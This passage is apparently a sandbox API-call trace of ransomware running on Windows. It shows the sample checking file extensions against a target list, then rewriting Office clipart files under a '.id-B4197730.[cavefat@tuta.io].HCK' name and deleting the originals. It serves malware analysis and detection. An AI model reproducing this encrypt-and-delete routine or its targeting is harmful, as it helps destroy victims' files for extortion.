(lpString1=".rar", lpString2=".WMF") returned -1 [0156.978] lstrlenW (lpString=".bz2") returned 4 [0156.978] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.978] lstrlenW (lpString=".7z") returned 3 [0156.978] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0156.978] lstrlenW (lpString=".dbf") returned 4 [0156.978] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0156.978] lstrlenW (lpString=".1cd") returned 4 [0156.978] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0156.978] lstrlenW (lpString=".jpg") returned 4 [0156.978] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0156.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0156.978] lstrlenW (lpString=".doc") returned 4 [0156.978] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.978] lstrlenW (lpString=".docx") returned 5 [0156.978] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.978] lstrlenW (lpString=".pdf") returned 4 [0156.978] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.978] lstrlenW (lpString=".xls") returned 4 [0156.978] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.978] lstrlenW (lpString=".xlsx") returned 5 [0156.978] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.978] lstrlenW (lpString=".ppt") returned 4 [0156.978] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0156.978] lstrlenW (lpString=".zip") returned 4 [0156.978] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.979] lstrlenW (lpString=".rar") returned 4 [0156.979] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.979] lstrlenW (lpString=".bz2") returned 4 [0156.979] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.979] lstrlenW (lpString=".7z") returned 3 [0156.979] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0156.979] lstrlenW (lpString=".dbf") returned 4 [0156.979] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0156.979] lstrlenW (lpString=".1cd") returned 4 [0156.979] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0156.979] lstrlenW (lpString=".jpg") returned 4 [0156.979] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.979] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0156.979] lstrlenW (lpString="BS01603_.WMF") returned 12 [0156.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0156.981] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=7176) returned 1 [0156.981] CloseHandle (hObject=0x30c) returned 1 [0156.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf")) returned 0x220 [0156.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0156.982] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.982] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0156.982] GetLastError () returned 0x0 [0156.982] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1c08, lpOverlapped=0x0) returned 1 [0156.989] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1c10, lpOverlapped=0x0) returned 1 [0156.990] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0156.990] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0156.990] SetEndOfFile (hFile=0x2f0) returned 1 [0156.990] CloseHandle (hObject=0x2f0) returned 1 [0156.991] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.991] SetEndOfFile (hFile=0x30c) returned 1 [0156.992] CloseHandle (hObject=0x30c) returned 1 [0156.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0156.992] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf")) returned 1 [0156.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0156.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0156.992] lstrlenW (lpString=".doc") returned 4 [0156.992] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.992] lstrlenW (lpString=".docx") returned 5 [0156.992] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.992] lstrlenW (lpString=".pdf") returned 4 [0156.992] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.992] lstrlenW (lpString=".xls") returned 4 [0156.992] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.992] lstrlenW (lpString=".xlsx") returned 5 [0156.992] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.992] lstrlenW (lpString=".ppt") returned 4 [0156.992] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0156.992] lstrlenW (lpString=".zip") returned 4 [0156.992] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.992] lstrlenW (lpString=".rar") returned 4 [0156.992] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.992] lstrlenW (lpString=".bz2") returned 4 [0156.992] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.993] lstrlenW (lpString=".7z") returned 3 [0156.993] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0156.993] lstrlenW (lpString=".dbf") returned 4 [0156.993] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0156.993] lstrlenW (lpString=".1cd") returned 4 [0156.993] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0156.993] lstrlenW (lpString=".jpg") returned 4 [0156.993] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0156.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0156.993] lstrlenW (lpString=".doc") returned 4 [0156.993] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.993] lstrlenW (lpString=".docx") returned 5 [0156.993] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.993] lstrlenW (lpString=".pdf") returned 4 [0156.993] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.993] lstrlenW (lpString=".xls") returned 4 [0156.993] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.993] lstrlenW (lpString=".xlsx") returned 5 [0156.993] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.993] lstrlenW (lpString=".ppt") returned 4 [0156.993] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0156.993] lstrlenW (lpString=".zip") returned 4 [0156.993] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.993] lstrlenW (lpString=".rar") returned 4 [0156.993] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.993] lstrlenW (lpString=".bz2") returned 4 [0156.993] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.993] lstrlenW (lpString=".7z") returned 3 [0156.993] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0156.993] lstrlenW (lpString=".dbf") returned 4 [0156.993] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0156.993] lstrlenW (lpString=".1cd") returned 4 [0156.993] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0156.993] lstrlenW (lpString=".jpg") returned 4 [0156.993] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.993] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0156.993] lstrlenW (lpString="BS01634_.WMF") returned 12 [0156.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0156.994] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=3494) returned 1 [0156.994] CloseHandle (hObject=0x30c) returned 1 [0156.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf")) returned 0x220 [0156.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0156.994] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.994] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0156.994] GetLastError () returned 0x0 [0156.994] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xda6, lpOverlapped=0x0) returned 1 [0156.996] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xdb0, lpOverlapped=0x0) returned 1 [0156.996] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0156.996] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0156.997] SetEndOfFile (hFile=0x2f0) returned 1 [0156.997] CloseHandle (hObject=0x2f0) returned 1 [0156.997] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.997] SetEndOfFile (hFile=0x30c) returned 1 [0156.998] CloseHandle (hObject=0x30c) returned 1 [0156.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0156.998] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf")) returned 1 [0156.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0156.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0156.999] lstrlenW (lpString=".doc") returned 4 [0156.999] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.999] lstrlenW (lpString=".docx") returned 5 [0156.999] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.999] lstrlenW (lpString=".pdf") returned 4 [0156.999] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.999] lstrlenW (lpString=".xls") returned 4 [0156.999] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.999] lstrlenW (lpString=".xlsx") returned 5 [0156.999] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.999] lstrlenW (lpString=".ppt") returned 4 [0156.999] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0156.999] lstrlenW (lpString=".zip") returned 4 [0156.999] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.999] lstrlenW (lpString=".rar") returned 4 [0156.999] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.999] lstrlenW (lpString=".bz2") returned 4 [0156.999] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.999] lstrlenW (lpString=".7z") returned 3 [0156.999] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0156.999] lstrlenW (lpString=".dbf") returned 4 [0156.999] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0156.999] lstrlenW (lpString=".1cd") returned 4 [0156.999] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0156.999] lstrlenW (lpString=".jpg") returned 4 [0156.999] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0156.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0156.999] lstrlenW (lpString=".doc") returned 4 [0156.999] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.999] lstrlenW (lpString=".docx") returned 5 [0156.999] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.999] lstrlenW (lpString=".pdf") returned 4 [0156.999] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.999] lstrlenW (lpString=".xls") returned 4 [0156.999] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.999] lstrlenW (lpString=".xlsx") returned 5 [0156.999] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.000] lstrlenW (lpString=".ppt") returned 4 [0157.000] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0157.000] lstrlenW (lpString=".zip") returned 4 [0157.000] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.000] lstrlenW (lpString=".rar") returned 4 [0157.000] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.000] lstrlenW (lpString=".bz2") returned 4 [0157.000] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.000] lstrlenW (lpString=".7z") returned 3 [0157.000] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0157.000] lstrlenW (lpString=".dbf") returned 4 [0157.000] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0157.000] lstrlenW (lpString=".1cd") returned 4 [0157.000] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0157.000] lstrlenW (lpString=".jpg") returned 4 [0157.000] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.000] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0157.000] lstrlenW (lpString="BS01635_.WMF") returned 12 [0157.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0157.001] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=14996) returned 1 [0157.001] CloseHandle (hObject=0x30c) returned 1 [0157.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf")) returned 0x220 [0157.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0157.001] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.001] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0157.001] GetLastError () returned 0x0 [0157.001] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x3a94, lpOverlapped=0x0) returned 1 [0157.004] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x3aa0, lpOverlapped=0x0) returned 1 [0157.005] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0157.005] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0157.005] SetEndOfFile (hFile=0x2f0) returned 1 [0157.005] CloseHandle (hObject=0x2f0) returned 1 [0157.006] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.006] SetEndOfFile (hFile=0x30c) returned 1 [0157.007] CloseHandle (hObject=0x30c) returned 1 [0157.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0157.007] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf")) returned 1 [0157.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0157.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0157.007] lstrlenW (lpString=".doc") returned 4 [0157.007] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.007] lstrlenW (lpString=".docx") returned 5 [0157.007] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.007] lstrlenW (lpString=".pdf") returned 4 [0157.007] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.007] lstrlenW (lpString=".xls") returned 4 [0157.007] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.007] lstrlenW (lpString=".xlsx") returned 5 [0157.007] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.007] lstrlenW (lpString=".ppt") returned 4 [0157.007] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0157.007] lstrlenW (lpString=".zip") returned 4 [0157.007] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.008] lstrlenW (lpString=".rar") returned 4 [0157.008] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.008] lstrlenW (lpString=".bz2") returned 4 [0157.008] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.008] lstrlenW (lpString=".7z") returned 3 [0157.008] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned 